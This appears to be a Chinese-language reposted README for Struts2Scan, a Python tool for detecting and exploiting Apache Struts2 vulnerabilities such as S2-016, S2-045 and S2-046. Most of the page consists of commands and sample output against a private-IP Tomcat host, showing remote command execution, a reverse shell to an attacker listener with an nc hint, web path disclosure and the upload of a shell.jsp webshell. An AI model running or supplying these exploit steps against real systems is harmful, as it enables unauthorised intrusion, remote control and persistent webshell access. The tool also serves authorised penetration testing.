S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell[ ] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell[ ] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传[ ] S2-046:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传[ ] S2-048:影响版本Struts 2.3.x with Struts 1 plugin and Struts 1 action; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell[ ] S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell[ ] S2-devMode:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell

单个URL漏洞检测:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 正在扫描URL:http://192.168.100.8:8080/index.action[*] ----------------results------------------[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-046[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-016[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-045[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-015[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-009[*] http://192.168.100.8:8080/index.action 存在漏洞: S2-012

批量漏洞检测:

$ python3 Struts2Scan.py -f urls.txt

POST数据:

$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -d name=admin&email=admin&age={exp}

指定漏洞名称利用:

# 命令执行$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --exec ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy >>>ls -latotal 136drwxr-sr-x 1 root staff 4096 May 5 2017 .drwxrwsr-x 1 root staff 4096 May 5 2017 ..-rw-r----- 1 root root 57092 Apr 13 2017 LICENSE-rw-r----- 1 root root 1723 Apr 13 2017 NOTICE-rw-r----- 1 root root 7064 Apr 13 2017 RELEASE-NOTES-rw-r----- 1 root root 15946 Apr 13 2017 RUNNING.txtdrwxr-x--- 1 root root 4096 May 5 2017 bindrwx--S--- 1 root root 4096 Jul 12 14:54 confdrwxr-sr-x 3 root staff 4096 May 5 2017 includedrwxr-x--- 2 root root 4096 May 5 2017 libdrwxr-x--- 1 root root 4096 Jul 12 14:54 logsdrwxr-sr-x 3 root staff 4096 May 5 2017 native-jni-libdrwxr-x--- 2 root root 4096 May 5 2017 tempdrwxr-x--- 1 root root 4096 Jul 12 14:54 webappsdrwxr-x--- 1 root root 4096 Jul 12 14:54 work>>># 反弹shll$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --reverse 192.168.100.8:8888 ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] 请在反弹地址处监听端口如: nc -lvvp 8080# 获取WEB路径$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --webpath ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [*] /usr/local/tomcat/webapps/ROOT/# 上传shell$ python3 Struts2Scan.py -u http://192.168.100.8:8080/index.action -n S2-016 --upfile shell.jsp --uppath /usr/local/tomcat/webapps/ROOT/shell.jsp ____ _ _ ____ ____ / ___|| |_ _ __ _ _| |_ ___|___ / ___| ___ __ _ _ __ ___ | __| '__| | | | __/ __| __) | ___ / __/ _` | '_ ___) | |_| | | |_| | |___ / __/ ___) | (_| (_| | | | ||____/ __|_| __,_|__|___/_____| |____/ _____,_|_| |_| Author By HatBoy [ ] 文件上传成功!

项目下载地址:https://github.com/HatBoy/Struts2-Scan

免责声明:本文由用户上传,如有侵权请联系删除!